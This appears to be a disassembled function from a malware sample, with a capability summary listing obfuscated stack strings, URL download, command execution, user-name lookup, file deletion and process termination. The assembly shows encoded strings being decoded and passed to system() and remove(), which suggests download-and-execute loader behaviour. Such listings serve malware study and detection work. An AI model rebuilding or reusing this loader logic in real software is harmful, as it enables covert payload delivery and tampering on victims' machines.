Function at 0x41f360
Capabilities:
Contain obfuscated stackstrings
Delete file
Download url
Execute command
Get session user name
Receive data
Set console window title
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47cee5
mov eax, dword fs:[0]
push eax
mov eax, 0x1060
call fcn.00479e90
mov eax, dword [0x495400]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x520], 0
lea eax, [ebp - 0xba4]
push eax
lea ecx, [ebp - 0x660]
mov dword [ebp - 0x660], 0xffeee6df
mov dword [ebp - 0x65c], 0xf0fce3eb
mov word [ebp - 0x658], 0x100
call fcn.0040be50
push eax
mov ecx, 0x4955e4
call fcn.0040d490
lea ecx, [ebp - 0xba4]
call fcn.0040d440
lea eax, [ebp - 0xcac]
mov dword [ebp - 0x678], 0xfdc0deba
push eax
lea ecx, [ebp - 0x678]
mov dword [ebp - 0x674], 0xfea2eedf
mov dword [ebp - 0x670], 0x100d1ca
call fcn.0040af80
push eax
mov ecx, 0x49553c
call fcn.0040d490
lea ecx, [ebp - 0xcac]
call fcn.0040d440
movaps xmm0, xmmword [0x48e8b0]
lea eax, [ebp - 0xf94]
movups xmmword [ebp - 0xacc], xmm0
lea ecx, [ebp - 0xacc]
mov word [ebp - 0xa8c], 0x100
movaps xmm0, xmmword [0x48e710]
movups xmmword [ebp - 0xabc], xmm0
push eax
movaps xmm0, xmmword [0x48e640]
movups xmmword [ebp - 0xaac], xmm0
movaps xmm0, xmmword [0x48e7e0]
movups xmmword [ebp - 0xa9c], xmm0
call fcn.004213c0
push eax
mov ecx, 0x4955fc
call fcn.0040d490
lea ecx, [ebp - 0xf94]
call fcn.0040d440
lea eax, [ebp - 0xfac]
mov dword [ebp - 0x540], 0x8e938d
push eax
lea ecx, [ebp - 0x540]
mov byte [ebp - 0x53c], 1
call fcn.00421380
push eax
mov ecx, 0x4954dc
call fcn.0040d490
lea ecx, [ebp - 0xfac]
call fcn.0040d440
movaps xmm0, xmmword [0x48e850]
lea eax, [ebp - 0xfc4]
push eax
lea ecx, [ebp - 0x7a8]
mov dword [ebp - 0x798], 0xe0a0a4bb
movups xmmword [ebp - 0x7a8], xmm0
mov dword [ebp - 0x794], 0xfcbba1b1
mov dword [ebp - 0x790], 0xf8e4fbe5
mov word [ebp - 0x78c], 0x100
call fcn.00421340
push eax
mov ecx, 0x49556c
call fcn.0040d490
lea ecx, [ebp - 0xfc4]
call fcn.0040d440
lea eax, [ebp - 0xfdc]
mov dword [ebp - 0x630], 0xffeee6df
push eax
lea ecx, [ebp - 0x630]
mov dword [ebp - 0x62c], 0xf0fce3eb
mov word [ebp - 0x628], 0x100
call fcn.0040be50
push eax
mov ecx, 0x495584
call fcn.0040d490
lea ecx, [ebp - 0xfdc]
call fcn.0040d440
lea eax, [ebp - 0x100c]
mov dword [ebp - 0x63c], 0xe6edeede
push eax
lea ecx, [ebp - 0x63c]
mov dword [ebp - 0x638], 0xf4fee0d1
mov word [ebp - 0x634], 0x100
call fcn.0040be50
push eax
mov ecx, 0x4954f4
call fcn.0040d490
lea ecx, [ebp - 0x100c]
call fcn.0040d440
push 0x1f8
lea ecx, [ebp - 0x510]
call fcn.00421160
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x520], esp
push 0x48c7ea
call fcn.0040d510
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
mov dword [ebp - 0x51c], esp
push 0x49556c
call fcn.0040d550
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
mov dword [ebp - 0x850], esp
push 0x4954dc
call fcn.0040d550
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x854], esp
push 0x4955fc
call fcn.0040d550
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
mov dword [ebp - 0x768], esp
push 0x49553c
call fcn.0040d550
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
push 0x4955e4
call fcn.0040d550
lea ecx, [ebp - 0x510]
mov dword [ebp - 4], 0xffffffff
call fcn.0041d9d0
mov ecx, 0x4955e4
mov dword [ebp - 4], 5
call fcn.0040d310
mov ecx, 0x49553c
call fcn.0040d310
mov ecx, 0x4955fc
call fcn.0040d310
mov ecx, 0x4954dc
call fcn.0040d310
mov ecx, 0x49556c
call fcn.0040d310
push 0x495478
push 0x496268
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x1024]
mov dword [ebp - 0x600], 0xe9ede4c6
push eax
lea ecx, [ebp - 0x600]
mov dword [ebp - 0x5fc], 0x100fdeb
call fcn.00421300
mov ecx, eax
call fcn.0040d2c0
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea ecx, [ebp - 0x1024]
call fcn.0040d440
lea eax, [ebp - 0xff4]
mov word [ebp - 0x524], 0x80
push eax
lea ecx, [ebp - 0x524]
mov byte [ebp - 0x522], 1
call fcn.0040bf10
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.0040d2c0
movaps xmm0, xmmword [0x48e530]
lea ecx, [ebp - 0x87c]
mov esi, eax
mov byte [ebp - 0x86c], 1
lea eax, [ebp - 0x1054]
push eax
movups xmmword [ebp - 0x87c], xmm0
call fcn.0040b1b0
push 0x496268
mov edx, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x103c]
call fcn.00410080
sub esp, 0x14
mov byte [ebp - 4], 8
mov ecx, esp
mov edx, eax
push esi
call fcn.00410080
add esp, 4
mov ecx, 0xa
call fcn.0041e140
add esp, 0x18
lea ecx, [ebp - 0x103c]
call fcn.0040d440
lea ecx, [ebp - 0x1054]
call fcn.0040d440
lea ecx, [ebp - 0xff4]
mov byte [ebp - 4], 5
call fcn.0040d440
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x5dc
call edi
nop dword [eax + eax]
lea ecx, [ebp - 0x510]
call fcn.00404600
lea ecx, [ebp - 0x38]
call fcn.004045e0
mov byte [ebp - 4], 9
cmp byte [ebp - 0x378], 0
jne 0x41f82c
movaps xmm0, xmmword [0x48e6f0]
lea edx, [ebp - 0x788]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x788], xmm0
mov dword [ebp - 0x778], 0xbbaba3be
mov dword [ebp - 0x774], 0xb6be81f0
mov dword [ebp - 0x770], 0xf9b3a6b5
mov dword [ebp - 0x76c], 0x100f7f6
call fcn.00420e00
push 0x5dc
call edi
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 5
call fcn.0040d440
jmp 0x41f7b0
lea ecx, [ebp - 0x548]
mov dword [ebp - 0x548], 0xcdd1df
mov byte [ebp - 0x544], 1
call fcn.00420e30
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x598], 0xe4e2e2a4
lea eax, [ebp - 0xb2c]
mov word [ebp - 0x594], 0x100
lea ecx, [ebp - 0x598]
push eax
call fcn.0040af40
mov ecx, eax
mov byte [ebp - 4], 0xa
call fcn.0040d2c0
mov esi, eax
mov dword [ebp - 0x550], 0xe287ff
lea eax, [ebp - 0xb14]
mov byte [ebp - 0x54c], 1
push eax
lea ecx, [ebp - 0x550]
call fcn.00421380
push 0x495584
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xafc]
call fcn.004100e0
push esi
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xae4]
call fcn.00410080
add esp, 8
mov ecx, eax
mov byte [ebp - 4], 0xd
call fcn.0041e1e0
lea ecx, [ebp - 0xae4]
mov bl, al
call fcn.0040d440
lea ecx, [ebp - 0xafc]
call fcn.0040d440
lea ecx, [ebp - 0xb14]
call fcn.0040d440
lea ecx, [ebp - 0xb2c]
mov byte [ebp - 4], 9
call fcn.0040d440
test bl, bl
je 0x41fa24
lea ecx, [ebp - 0x50]
call fcn.004045e0
push 0xb8
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 0xe
call fcn.00406aa0
lea eax, [ebp - 0xb8c]
mov dword [ebp - 0x5a0], 0xe4e2e2a4
push eax
lea ecx, [ebp - 0x5a0]
mov word [ebp - 0x59c], 0x100
call fcn.0040af40
mov esi, eax
lea eax, [ebp - 0xb74]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x558]
mov dword [ebp - 0x558], 0xe287ff
mov byte [ebp - 0x554], 1
call fcn.00421380
push 0x495584
mov edx, eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xb5c]
call fcn.004100e0
push esi
mov edx, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xb44]
call fcn.00410140
add esp, 8
push 1
push 0x40
push 1
push eax
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 0x12
call fcn.0040bd30
lea ecx, [ebp - 0xb44]
call fcn.0040d440
lea ecx, [ebp - 0xb5c]
call fcn.0040d440
lea ecx, [ebp - 0xb74]
call fcn.0040d440
lea ecx, [ebp - 0xb8c]
mov byte [ebp - 4], 0x17
call fcn.0040d440
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x268]
call fcn.004106a0
lea ecx, [ebp - 0x268]
call fcn.00421490
lea ecx, [ebp - 0x268]
call fcn.004069e0
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 9
call fcn.0040d440
jmp 0x41fa5a
movaps xmm0, xmmword [0x48e6b0]
lea edx, [ebp - 0x868]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x868], xmm0
mov word [ebp - 0x858], 0x100
call fcn.00420e60
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea edx, [ebp - 0x38]
call fcn.004113f0
sub esp, 0x18
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.0040d550
lea eax, [ebp - 0xbbc]
push eax
lea ecx, [ebp - 0x510]
call fcn.00406f00
mov esi, eax
push 0
push 1
sub esp, 0x28
mov byte [ebp - 4], 0x18
mov ecx, esp
push 0
call fcn.0040c5b0
mov edx, esi
lea ecx, [ebp - 0x20]
call fcn.004106d0
add esp, 0x30
lea ecx, [ebp - 0xbbc]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
lea eax, [ebp - 0x9e0]
mov dword [ebp - 0x5a8], 0xe2eae5e3
push eax
lea ecx, [ebp - 0x5a8]
mov word [ebp - 0x5a4], 0x100
call fcn.0040af40
lea eax, [ebp - 0x9e0]
mov byte [ebp - 4], 0x1b
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c8e0
mov esi, eax
mov dword [ebp - 0x724], 0xfeeefef9
lea eax, [ebp - 0x9c8]
mov dword [ebp - 0x720], 0xe1f9fded
push eax
lea ecx, [ebp - 0x724]
mov dword [ebp - 0x71c], 0xfbfbfae6
mov word [ebp - 0x718], 0xe5
mov byte [ebp - 0x716], 1
call fcn.00421400
lea eax, [ebp - 0x9c8]
mov byte [ebp - 4], 0x1c
push eax
mov ecx, esi
call fcn.0040c8e0
push 0
mov ecx, eax
call fcn.0040c9a0
mov esi, eax
mov dword [ebp - 0x648], 0xe8e1e2fe
lea eax, [ebp - 0x9b0]
mov dword [ebp - 0x644], 0xe5f6eae2
push eax
lea ecx, [ebp - 0x648]
mov word [ebp - 0x640], 0x100
call fcn.0040be50
lea eax, [ebp - 0x9b0]
mov byte [ebp - 4], 0x1d
push eax
mov ecx, esi
call fcn.0040c8e0
mov ecx, eax
call fcn.00415530
mov edx, eax
lea ecx, [ebp - 0xbd4]
call fcn.00401d30
push eax
mov ecx, 0x4954ac
call fcn.0040d490
lea ecx, [ebp - 0xbd4]
call fcn.0040d440
lea ecx, [ebp - 0x9b0]
call fcn.0040d440
lea ecx, [ebp - 0x9c8]
call fcn.0040d440
lea ecx, [ebp - 0x9e0]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
lea eax, [ebp - 0xa28]
mov dword [ebp - 0x590], 0xe2eae5e3
push eax
lea ecx, [ebp - 0x590]
mov word [ebp - 0x58c], 0x100
call fcn.0040af40
lea eax, [ebp - 0xa28]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c8e0
mov esi, eax
mov dword [ebp - 0x734], 0xfeeefef9
lea eax, [ebp - 0xa10]
mov dword [ebp - 0x730], 0xe1f9fded
push eax
lea ecx, [ebp - 0x734]
mov dword [ebp - 0x72c], 0xfbfbfae6
mov word [ebp - 0x728], 0xe5
mov byte [ebp - 0x726], 1
call fcn.00421400
lea eax, [ebp - 0xa10]
mov byte [ebp - 4], 0x1f
push eax
mov ecx, esi
call fcn.0040c8e0
push 0
mov ecx, eax
call fcn.0040c9a0
mov esi, eax
mov dword [ebp - 0x5f8], 0xe4fcf3ef
lea eax, [ebp - 0x9f8]
mov dword [ebp - 0x5f4], 0x100f6fc
push eax
lea ecx, [ebp - 0x5f8]
call fcn.00421300
lea eax, [ebp - 0x9f8]
mov byte [ebp - 4], 0x20
push eax
mov ecx, esi
call fcn.0040c8e0
lea ecx, [ebp - 0xbec]
push ecx
mov ecx, eax
call fcn.004155d0
push eax
mov ecx, 0x495524
call fcn.0040d490
lea ecx, [ebp - 0xbec]
call fcn.0040d440
lea ecx, [ebp - 0x9f8]
call fcn.0040d440
lea ecx, [ebp - 0xa10]
call fcn.0040d440
lea ecx, [ebp - 0xa28]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
lea eax, [ebp - 0xa40]
mov dword [ebp - 0x60c], 0xfeffeee7
push eax
lea ecx, [ebp - 0x60c]
mov dword [ebp - 0x608], 0xf5e8ef
mov byte [ebp - 0x604], 1
call fcn.0040b170
lea eax, [ebp - 0xa40]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c8e0
lea ecx, [ebp - 0xc04]
push ecx
mov ecx, eax
call fcn.004155d0
push eax
mov ecx, 0x495554
call fcn.0040d490
lea ecx, [ebp - 0xc04]
call fcn.0040d440
lea ecx, [ebp - 0xa40]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
lea eax, [ebp - 0xa58]
mov dword [ebp - 0x5f0], 0xeee2e4e4
push eax
lea ecx, [ebp - 0x5f0]
mov word [ebp - 0x5ec], 0xeb
mov byte [ebp - 0x5ea], 1
call fcn.0040be90
lea eax, [ebp - 0xa58]
mov byte [ebp - 4], 0x22
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c8e0
lea ecx, [ebp - 0xc1c]
push ecx
mov ecx, eax
call fcn.004155d0
push eax
mov ecx, 0x4955b4
call fcn.0040d490
lea ecx, [ebp - 0xc1c]
call fcn.0040d440
lea ecx, [ebp - 0xa58]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
lea eax, [ebp - 0xa88]
mov dword [ebp - 0x5b8], 0xe2eae5e3
push eax
lea ecx, [ebp - 0x5b8]
mov word [ebp - 0x5b4], 0x100
call fcn.0040af40
lea eax, [ebp - 0xa88]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c8e0
mov esi, eax
mov dword [ebp - 0x654], 0xffe9f8ff
lea eax, [ebp - 0xa70]
mov dword [ebp - 0x650], 0xf4fdeee0
push eax
lea ecx, [ebp - 0x654]
mov word [ebp - 0x64c], 0x100
call fcn.0040be50
lea eax, [ebp - 0xa70]
mov byte [ebp - 4], 0x24
push eax
mov ecx, esi
call fcn.0040c8e0
lea ecx, [ebp - 0xc34]
push ecx
mov ecx, eax
call fcn.004155d0
push eax
mov ecx, 0x49550c
call fcn.0040d490
lea ecx, [ebp - 0xc34]
call fcn.0040d440
lea ecx, [ebp - 0xa70]
call fcn.0040d440
lea ecx, [ebp - 0xa88]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
lea eax, [ebp - 0x8c0]
mov dword [ebp - 0x5c0], 0xe2eae5e3
mov word [ebp - 0x5bc], 0x100
push eax
lea ecx, [ebp - 0x5c0]
call fcn.0040af40
lea eax, [ebp - 0x8c0]
mov byte [ebp - 4], 0x25
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c8e0
mov esi, eax
mov dword [ebp - 0x66c], 0xf9ffeae6
lea eax, [ebp - 0x8a8]
mov dword [ebp - 0x668], 0xf8f7e0e2
push eax
lea ecx, [ebp - 0x66c]
mov word [ebp - 0x664], 0xfc
mov byte [ebp - 0x662], 1
call fcn.0040bed0
lea eax, [ebp - 0x8a8]
mov byte [ebp - 4], 0x26
push eax
mov ecx, esi
call fcn.0040c8e0
lea ecx, [ebp - 0xc4c]
push ecx
mov ecx, eax
call fcn.004155d0
push eax
mov ecx, 0x495494
call fcn.0040d490
lea ecx, [ebp - 0xc4c]
call fcn.0040d440
lea ecx, [ebp - 0x8a8]
call fcn.0040d440
lea ecx, [ebp - 0x8c0]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
lea eax, [ebp - 0x8f0]
mov dword [ebp - 0x5c8], 0xe2eae5e3
push eax
lea ecx, [ebp - 0x5c8]
mov word [ebp - 0x5c4], 0x100
call fcn.0040af40
lea eax, [ebp - 0x8f0]
mov byte [ebp - 4], 0x27
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c8e0
mov esi, eax
mov dword [ebp - 0x528], 0x100fbe3
lea eax, [ebp - 0x8d8]
push eax
lea ecx, [ebp - 0x528]
call fcn.004212c0
lea eax, [ebp - 0x8d8]
mov byte [ebp - 4], 0x28
push eax
mov ecx, esi
call fcn.0040c8e0
lea ecx, [ebp - 0xc64]
push ecx
mov ecx, eax
call fcn.004155d0
push eax
mov ecx, 0x4955cc
call fcn.0040d490
lea ecx, [ebp - 0xc64]
call fcn.0040d440
lea ecx, [ebp - 0x8d8]
call fcn.0040d440
lea ecx, [ebp - 0x8f0]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
lea eax, [ebp - 0x920]
mov dword [ebp - 0x5d0], 0xe2eae5e3
push eax
lea ecx, [ebp - 0x5d0]
mov word [ebp - 0x5cc], 0x100
call fcn.0040af40
lea eax, [ebp - 0x920]
mov byte [ebp - 4], 0x29
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c8e0
mov esi, eax
mov dword [ebp - 0x684], 0xece9f9e9
lea eax, [ebp - 0x908]
mov dword [ebp - 0x680], 0xf0f4eafa
push eax
lea ecx, [ebp - 0x684]
mov dword [ebp - 0x67c], 0x100f6e6
call fcn.0040af80
lea eax, [ebp - 0x908]
mov byte [ebp - 4], 0x2a
push eax
mov ecx, esi
call fcn.0040c8e0
lea ecx, [ebp - 0xc7c]
push ecx
mov ecx, eax
call fcn.004155d0
push eax
mov ecx, 0x49559c
call fcn.0040d490
lea ecx, [ebp - 0xc7c]
call fcn.0040d440
lea ecx, [ebp - 0x908]
call fcn.0040d440
lea ecx, [ebp - 0x920]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
cmp byte [ebp - 0x378], 0
je 0x420126
mov ecx, 0x4955cc
call fcn.0040d2b0
test al, al
jne 0x420126
mov ecx, 0x49550c
call fcn.0040d2b0
test al, al
jne 0x420126
mov ecx, 0x495554
call fcn.0040d2b0
test al, al
jne 0x420126
mov ecx, 0x4955b4
call fcn.0040d2b0
test al, al
jne 0x420126
mov ecx, 0x49559c
call fcn.0040d2b0
test al, al
jne 0x420126
mov ecx, 0x495494
call fcn.0040d2b0
test al, al
jne 0x420126
mov ecx, 0x495524
call fcn.0040d2b0
test al, al
jne 0x420126
mov ecx, 0x4954ac
call fcn.0040d2b0
test al, al
je 0x420263
lea eax, [ebp - 0xcc4]
mov dword [ebp - 0x5d8], 0xe4e2e2a4
push eax
lea ecx, [ebp - 0x5d8]
mov word [ebp - 0x5d4], 0x100
call fcn.0040af40
mov ecx, eax
mov byte [ebp - 4], 0x2b
call fcn.0040d2c0
mov esi, eax
mov dword [ebp - 0x560], 0xe287ff
lea eax, [ebp - 0xe8c]
mov byte [ebp - 0x55c], 1
push eax
lea ecx, [ebp - 0x560]
call fcn.00421380
push 0x495584
mov edx, eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0xc94]
call fcn.004100e0
sub esp, 0x14
mov byte [ebp - 4], 0x2d
mov ecx, esp
mov edx, eax
push esi
call fcn.00410080
add esp, 4
call fcn.0041e0f0
add esp, 0x18
lea ecx, [ebp - 0xc94]
call fcn.0040d440
lea ecx, [ebp - 0xe8c]
call fcn.0040d440
lea ecx, [ebp - 0xcc4]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea eax, [ebp - 0xcf4]
push eax
lea ecx, [ebp - 0x618]
mov dword [ebp - 0x618], 0xe2fef9cf
mov dword [ebp - 0x614], 0xb0b5fc
mov byte [ebp - 0x610], 1
call fcn.0040b170
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 0x2e
push ecx
mov edx, eax
lea ecx, [ebp - 0xcdc]
call fcn.004100e0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x2f
mov ecx, esi
call fcn.00410b80
lea ecx, [ebp - 0xcdc]
call fcn.0040d440
lea ecx, [ebp - 0xcf4]
call fcn.0040d440
push 0x2328
call edi
lea ecx, [ebp - 0x20]
call fcn.0040cc20
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 5
call fcn.0040d440
jmp 0x41f7b0
lea eax, [ebp - 0xd54]
mov dword [ebp - 0x5b0], 0xe4e2e2a4
push eax
lea ecx, [ebp - 0x5b0]
mov word [ebp - 0x5ac], 0x100
call fcn.0040af40
mov ecx, eax
mov byte [ebp - 4], 0x30
call fcn.0040d2c0
mov esi, eax
mov dword [ebp - 0x568], 0xe287ff
lea eax, [ebp - 0xd3c]
mov byte [ebp - 0x564], 1
push eax
lea ecx, [ebp - 0x568]
call fcn.00421380
push 0x495584
mov edx, eax
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0xd24]
call fcn.004100e0
push esi
mov edx, eax
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xd0c]
call fcn.00410080
add esp, 8
mov ecx, eax
mov byte [ebp - 4], 0x33
call fcn.0041e1e0
lea ecx, [ebp - 0xd0c]
mov bl, al
call fcn.0040d440
lea ecx, [ebp - 0xd24]
call fcn.0040d440
lea ecx, [ebp - 0xd3c]
call fcn.0040d440
lea ecx, [ebp - 0xd54]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
test bl, bl
je 0x4203d4
lea eax, [ebp - 0xd9c]
mov dword [ebp - 0x5e0], 0xe4e2e2a4
push eax
lea ecx, [ebp - 0x5e0]
mov word [ebp - 0x5dc], 0x100
call fcn.0040af40
mov ecx, eax
mov byte [ebp - 4], 0x34
call fcn.0040d2c0
mov esi, eax
mov dword [ebp - 0x570], 0xe287ff
lea eax, [ebp - 0xd84]
mov byte [ebp - 0x56c], 1
push eax
lea ecx, [ebp - 0x570]
call fcn.00421380
push 0x495584
mov edx, eax
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xd6c]
call fcn.004100e0
sub esp, 0x14
mov byte [ebp - 4], 0x36
mov ecx, esp
mov edx, eax
push esi
call fcn.00410080
add esp, 4
call fcn.0041e0f0
add esp, 0x18
lea ecx, [ebp - 0xd6c]
call fcn.0040d440
lea ecx, [ebp - 0xd84]
call fcn.0040d440
lea ecx, [ebp - 0xd9c]
mov byte [ebp - 4], 0x1a
call fcn.0040d440
push 0xb0
lea ecx, [ebp - 0x1b0]
call fcn.0040abb0
lea eax, [ebp - 0xdfc]
mov dword [ebp - 0x5e8], 0xe4e2e2a4
push eax
lea ecx, [ebp - 0x5e8]
mov word [ebp - 0x5e4], 0x100
call fcn.0040af40
mov esi, eax
lea eax, [ebp - 0xde4]
mov byte [ebp - 4], 0x37
push eax
lea ecx, [ebp - 0x578]
mov dword [ebp - 0x578], 0xe287ff
mov byte [ebp - 0x574], 1
call fcn.00421380
push 0x495584
mov edx, eax
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0xdcc]
call fcn.004100e0
push esi
mov edx, eax
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0xdb4]
call fcn.00410140
add esp, 8
push 1
push 0x40
push 2
push eax
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x3a
call fcn.0040ac00
lea ecx, [ebp - 0xdb4]
call fcn.0040d440
lea ecx, [ebp - 0xdcc]
call fcn.0040d440
lea ecx, [ebp - 0xde4]
call fcn.0040d440
lea ecx, [ebp - 0xdfc]
mov byte [ebp - 4], 0x3f
call fcn.0040d440
lea ecx, [ebp - 0x1b0]
call fcn.00421480
test al, al
je 0x4204cb
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x1b0]
call fcn.00410b80
lea ecx, [ebp - 0x1b0]
call fcn.0040abd0
lea ecx, [ebp - 0x580]
mov dword [ebp - 0x580], 0xcdd1df
mov byte [ebp - 0x57c], 1
call fcn.00420e30
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push eax
call esi
movaps xmm0, xmmword [0x48e720]
lea ecx, [ebp - 0x7c8]
sub esp, 0x14
mov dword [ebp - 0x7b8], 0xabbeb8ec
movups xmmword [ebp - 0x7c8], xmm0
mov dword [ebp - 0x7b4], 0xfdb7a5b1
mov dword [ebp - 0x7b0], 0xdcfbfa
push esp
mov byte [ebp - 0x7ac], 1
call fcn.00421280
mov ecx, 8
call fcn.0041e140
movaps xmm0, xmmword [0x48e6a0]
lea eax, [ebp - 0xe14]
add esp, 0x18
mov dword [ebp - 0x7e8], 0xa6e0a3a3
lea ecx, [ebp - 0x7f8]
mov dword [ebp - 0x7e4], 0x100b8be
movups xmmword [ebp - 0x7f8], xmm0
push eax
call fcn.00421440
mov byte [ebp - 4], 0x40
mov ecx, eax
mov dword [ebp - 0x520], 1
call fcn.0040d2c0
push eax
lea ecx, [ebp - 0x938]
call fcn.0040d510
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0x938]
mov dword [ebp - 0x520], 3
call fcn.0041e1e0
test al, al
je 0x4205c4
call fcn.0041e210
mov byte [ebp - 0x511], 1
test eax, eax
jne 0x4205cb
mov byte [ebp - 0x511], 0
lea ecx, [ebp - 0x938]
call fcn.0040d440
mov dword [ebp - 4], 0x3f
lea ecx, [ebp - 0xe14]
xor ebx, ebx
mov dword [ebp - 0x51c], ebx
call fcn.0040d440
mov edi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [ebp - 0x511], bl
je 0x420663
lea ecx, [ebp - 0x588]
mov dword [ebp - 0x588], 0xcdd1df
mov byte [ebp - 0x584], 1
call fcn.00420e30
push eax
call esi
sub esp, 0x14
mov dword [ebp - 0x6e4], 0xf8d1aad1
lea ecx, [ebp - 0x6e4]
mov dword [ebp - 0x6e0], 0xf5fffbfe
mov dword [ebp - 0x6dc], 0x9ff1e7f3
mov word [ebp - 0x6d8], 0x100
push esp
call fcn.00421240
lea ecx, [ebx + 5]
call fcn.0041e140
add esp, 0x18
jmp 0x420964
lea ecx, [ebp - 0x530]
mov dword [ebp - 0x530], 0xcdd1df
mov byte [ebp - 0x52c], 1
call fcn.00420e30
push eax
call esi
movaps xmm0, xmmword [0x48e520]
lea ecx, [ebp - 0x890]
sub esp, 0x14
mov byte [ebp - 0x880], 1
movups xmmword [ebp - 0x890], xmm0
push esp
call fcn.0040b1b0
mov ecx, 0xa
call fcn.0041e140
add esp, 0x18
lea eax, [ebp - 0xe44]
mov dword [ebp - 0x694], 0xc4d0b1c9
push eax
lea ecx, [ebp - 0x694]
mov dword [ebp - 0x690], 0xbfd9e3e2
mov dword [ebp - 0x68c], 0xf1ebf7
mov byte [ebp - 0x688], 1
call fcn.00421200
mov byte [ebp - 4], 0x42
or ebx, 4
mov ecx, eax
mov dword [ebp - 0x520], ebx
call fcn.0040d2c0
push eax
lea ecx, [ebp - 0x968]
call fcn.0040d510
mov dword [ebp - 4], 0x43
lea ecx, [ebp - 0x968]
or ebx, 8
mov dword [ebp - 0x51c], ebx
mov dword [ebp - 0x520], ebx
call fcn.0041e1e0
test al, al
je 0x4207bf
movaps xmm0, xmmword [0x48e6a0]
lea eax, [ebp - 0xe2c]
push eax
lea ecx, [ebp - 0x7e0]
mov dword [ebp - 0x7d0], 0xa6e0a3a3
movups xmmword [ebp - 0x7e0], xmm0
mov dword [ebp - 0x7cc], 0x100b8be
call fcn.00421440
mov dword [ebp - 4], 0x44
or ebx, 0x10
mov ecx, eax
mov dword [ebp - 0x520], ebx
call fcn.0040d2c0
push eax
lea ecx, [ebp - 0x950]
call fcn.0040d510
mov dword [ebp - 4], 0x45
lea ecx, [ebp - 0x950]
or ebx, 0x20
mov dword [ebp - 0x51c], ebx
mov dword [ebp - 0x520], ebx
call fcn.0041e1e0
test al, al
je 0x4207bf
call fcn.0041e210
mov byte [ebp - 0x511], 0
test eax, eax
jne 0x4207c6
mov byte [ebp - 0x511], 1
test bl, 0x20
je 0x4207df
and ebx, 0xffffffdf
lea ecx, [ebp - 0x950]
mov dword [ebp - 0x51c], ebx
call fcn.0040d440
test bl, 0x10
je 0x4207f8
and ebx, 0xffffffef
lea ecx, [ebp - 0xe2c]
mov dword [ebp - 0x51c], ebx
call fcn.0040d440
test bl, 8
je 0x420811
and ebx, 0xfffffff7
lea ecx, [ebp - 0x968]
mov dword [ebp - 0x51c], ebx
call fcn.0040d440
mov dword [ebp - 4], 0x3f
test bl, 4
je 0x420831
and ebx, 0xfffffffb
lea ecx, [ebp - 0xe44]
mov dword [ebp - 0x51c], ebx
call fcn.0040d440
